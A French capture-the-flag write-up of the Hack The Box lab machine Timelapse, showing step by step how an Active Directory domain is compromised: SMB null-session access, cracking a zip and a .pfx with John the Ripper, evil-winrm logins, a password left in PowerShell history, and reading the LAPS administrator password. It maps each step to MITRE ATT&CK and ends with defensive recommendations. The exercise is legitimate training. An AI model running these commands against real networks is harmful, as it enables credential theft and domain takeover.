Compromission Active Directory – Le cas de la Box Timelapse de Hack The Box
Sommaire
I. Présentation
Dans cet article, je vous propose la résolution de la machine Hack The Box Timelapse, de difficulté "Facile". Cet exercice vous montrera un exemple très concret et plutôt réaliste de compromission d'un Active Directory et donc d'un domaine dans un réseau d'entreprise.
Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.
Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs.
Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.
Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".
Technologies abordées | Windows, Powershell, LAPS |
Outils utilisés | nmap, smbclient, johntheripper, evil-winrm, openssl, PowerShell |
Retrouvez tous nos articles Hack The Box via ce lien :
II. Résolution de la box Timelapse
A. Découverte et énumération
Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.
Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery
$ nmap 10.10.11.152 -p- -T5 -Pn
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5986/tcp open wsmans
De nombreux services sont exposés et nous pouvons directement distinguer des services propres aux systèmes d'exploitations Windows et même à l'Active Directory (TCP/88).
Retrouvez notre cours complet sur Nmap sur lien suivant :
B. Recherche dans un partage de fichiers
Une première opération à réaliser systématiquement est de vérifier que tous les partages sont bien protégés par une authentification, exemple avec le port TCP/445 (SMB) et l'outil "smbmap" :
Technique d'attaque (MITRE ATT&CK) : T1078.001 - Valid Accounts: Default Accounts
$ smbmap -u "%" -p "" -P 445 -H 10.10.11.152 --no-banner
Voici le retour que l'on peut observer :
Le service SMB accepte les null sessions, on peut donc s'y authentifier et parcourir certains partages de fichier sans connaitre d'identifiants valides. Une rapide découverte des fichiers stockés nous permet de découvrir une archive ".zip" :
Technique d'attaque (MITRE ATT&CK) : T1083 - File and Directory Discovery
Celle-ci est protégée par un mot de passe, nous pouvons utiliser l'outil "zip2john" afin d'extraire le hash de ce mot de passe dans un format que l'outil de cassage "John The Ripper" saura interpréter. Nous pourrons ensuite utiliser cet outil pour tenter de retrouver le mot de passe correspondant à ce hash à l'aide d'une attaque par brute force reposant sur le dictionnaire "rockyou.txt" :
Technique d'attaque (MITRE ATT&CK) : T1110.002 - Brute Force: Password Cracking
$ zip2john winrm_backup.zip > /tmp/zipPasswordHash
$ john /tmp/zipPasswordHash --wordlist=rockyou.txt
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
L'utilisation d'un mot de passe faible nous permet d'ouvrir l'archive pour en extraire un fichier ".pfx", dont l'accès est également protégé par un mot de passe. Nous pouvons réitérer la même opération sur ce format de fichier (avec "pfx2john") :
$ pfx2john legacyy_dev_auth.pfx > /tmp/pfxPasswordHash
$ john /tmp/pfxPasswordHash --wordlist=rockyou.txt
thuglegacy (legacyy_dev_auth.pfx)
Comme vous pouvez le remarquer, l'outil "John The Ripper" va détecter lui-même le format du hash et adapter son cassage de mot de passe en conséquence. Le nom du fichier semble nous indiquer qu'il appartient à l'utilisateur "legacyy".
Maintenant que nous connaissons le mot de passe du fichier ".pfx", qui est un certificat privé, nous pouvons extraire la clé privée et le certificat qu'il contient :
$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
$ openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem
C. Accès winRM et historique PowerShell
Une clé privée est avant tout utilisée pour prouver une identité, c'est-à-dire s'authentifier. Nous pouvons tenter d'utiliser ces informations afin de nous authentifier sur les services exposés de notre cible qui accepte ce mode d'authentification. J'utilise ici l'outil "evil-winrm" afin de m'authentifier sur le service WinRM (TCP/5985) en utilisant la clé privée et le certificat précédemment découvert :
Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management
evil-winrm --user Legacy -k priv-key.pem -i timelapse.htb -p thuglegacy -S -c certificate.pem
*Evil-WinRM* PS C:\Users\legacyy\Desktop> cat user.txt
a9a2[REDACTED]d351f
Une fois qu'un accès interactif distant est obtenu sur une cible, l'attaquant peut mener de nombreuses opérations pour comprendre où il est sur le réseau, sur le système, quels sont ses droits locaux, à quoi sert le système compromis, etc. Parmi ces opérations figure la vérification de l'historique utilisateur, stocké dans un fichier dans le répertoire de chaque utilisateur dans le cas de PowerShell :
Technique d'attaque (MITRE ATT&CK) : T1083 - File and Directory Discovery
Evil-WinRM* PS C:\Users\legacyy> cat C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
Dans notre cas, l'historique de commande PowerShell nous permet de retrouver un mot de passe en clair saisi lors de sa conversion en objet "SecureString". Nous pouvons également facilement savoir à quel utilisateur il appartient : "svc_deploy". Ce compte peut ensuite être utilisé pour accéder à distance au système à l'aide de la commande "evil-winrm" :
Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management
$ evil-winrm --user svc_deploy -i timelapse.htb -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
D. Élévation de privilège via LAPS_READERS
Nouveau compte, nouvelle énumération. Il nous faut à présent connaitre les droits supplémentaires de ce compte par rapport au compte précédent afin de savoir si celui-ci nous permettra d'aller encore plus loin sur le système. Je liste, par exemple, l'ensemble de mes droits et permissions sur le système d'exploitation via avec la commande ""whoami /all"" :
Technique d'attaque (MITRE ATT&CK) : T1069.002 - Permission Groups Discovery: Domain Groups
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami /all
User Name SID
timelapse\svc_deploy S-1-5-21-671920749-559770252-3318990721-3103
GROUP INFORMATION
TIMELAPSE\LAPS_Readers Group S-1-5-21-671920749-559770252-3318990721-2601 Mandatory group, Enabled by default, Enabled group
Cet utilisateur "svc_deploy" fait partie du groupe "TIMELAPSE/LAPS_READERS", il s'agit d'un groupe important qui permet de gérer, et donc lire, les mots de passe LAPS des systèmes du domaine.
Pour en apprendre plus sur ce qu'est LAPS et surtout son apport en termes de sécurité, n'hésitez pas à consulter nos tutoriels à ce sujet :
Ce droit très sensible me permet notamment de récupérer le mot de passe de l'administrateur du contrôleur du domaine, opération ici réalisée en PowerShell :
Technique d'attaque (MITRE ATT&CK) : T1555 - Credentials from Password Stores
> Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName : dc01.timelapse.htb
Enabled : True
ms-Mcs-AdmPwd : (z)e;CScAMkY1{C-h{vq8oSb
Name : DC01
Avec cette information, nous obtenons les droits de l'utilisateur local "Administrator". Autrement dit, nous avons compromis le contrôleur de domaine, et par extension le domaine lui-même.
Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management
*Evil-WinRM* PS C:\Users\Administrator> whoami
timelapse\administrator
*Evil-WinRM* PS C:\Users\TRX> cat Desktop/root.txt
74d6f[REDACTED]9c2d6
III. Résumé de l'attaque
Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :
TTP (MITRE ATT&CK) | Détails |
T1046 - Network Service Discovery | Scan réseau réalisé via nmap pour découvrir les services exposés |
T1078.001 - Valid Accounts: Default Accounts | Découverte et utilisation d'un null session sur le service SMB |
T1083 - File and Directory Discovery | Recherche de fichiers sensibles dans le partage de fichier via smbmap. Téléchargement d'une archive ZIP |
T1110.002 - Brute Force: Password Cracking | Attaque par bruteforce sur un ".zip" chiffré, puis un fichier ".pfx" |
T1021.006 - Remote Services: Windows Remote Management | Accès distant winRM avec le compte "legacyy" et l'outil "evil-winrm". |
T1083 - File and Directory Discovery | Recherche de fichiers sensibles sur le système avec les droits de l'utilisateur "legacyy". Découverte d'un mot de passe dans l'historique PowerShell. |
T1021.006 - Remote Services: Windows Remote Management | Accès distant winRM avec le compte "svc-deploy" et l'outil "evil-winrm". |
T1069.002 - Permission Groups Discovery: Domain Groups | Découverte des groupes dont est membre "svc-deploy" via PowerShell. |
T1555 - Credentials from Password Stores | Récupération du mot de passe de l'administrateur local du contrôleur de domaine via PowerShell |
T1021.006 - Remote Services: Windows Remote Management | Accès distant winRM avec les identifiants de l'administrateur local. |
IV. Notions abordées
A. Côté attaquant
Le chemin d'attaque de cette box propose la découverte et l'exploitation de vulnérabilité assez classiques et réalistes, notamment concernant l'identification des partages réseau. Il est très fréquent de trouver des partages réseau sur les hôtes d'un système d'information dont certains sont très mal protégés. Cela parfois à cause du "shadow IT", des services montés dans le dos de l'équipe informatique, ou par simple négligence sur un périmètre trop important et difficile à maitriser.
À ce titre, la découverte des partages de fichiers et la recherche d'information sensible aurait également pu être réalisée via Snaffler, qui nous aurait sorti le même résultat.
Pour en apprendre plus sur cet outil puissant, voici notre article sur le sujet :
B. Côté défenseur
Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :
Recommandation n°1 : Nous pouvons ici recommander dans un premier temps de renforcer la politique de mots de passe sur le service SMB notamment en interdisant les null sessions. Le mot de passe utilisé pour protéger l'archive ".zip" et le ".pfx" sont faibles puisqu'ils ont été cassés à l'aide du dictionnaire très classique rockyou.txt. Nous pouvons citer en ressource externe le guide de l'ANSSI sur les mots de passe : Recommandations relatives à l'authentification multifacteur et aux mots de passe.
- IT-Connect - Politique de mot de passe : comment appliquer les bonnes pratiques de l’ANSSI ?
- IT-Connect - Pourquoi faut-il préférer les passphrases aux mots de passe ?
Recommandation n°2 : par extension, il peut être recommandé de vérifier la présence de fichiers sensibles dans les partages réseau, cela pour éviter qu'un utilisateur ou attaquant ne tombe sur des fichiers qu'il n'est pas censé trouver.
Recommandation n°3 : enfin, il peut être recommandé de sensibiliser l'équipe technique à la manipulation des mots de passe, surtout pour éviter qu'ils se retrouvent stockés dans l'historique PowerShell ou ailleurs.
L'élévation de privilège réalisé ici n'a rien d'anormal une fois que l'on a compromis le compte "svc-deploy". On peut s'interroger sur la légitimité de l'appartenance au groupe "LAPS_READERS" mais cela dépends essentiellement du contexte métier et organisationnel. Une fois ce compte compromis, on ne fait finalement qu'une opération légitime : récupérer un attribut auquel les membres de groupe ont accès. Le compte "svc-deploy" a d'ailleurs un mot de passe plutôt correct.
J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord!
Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy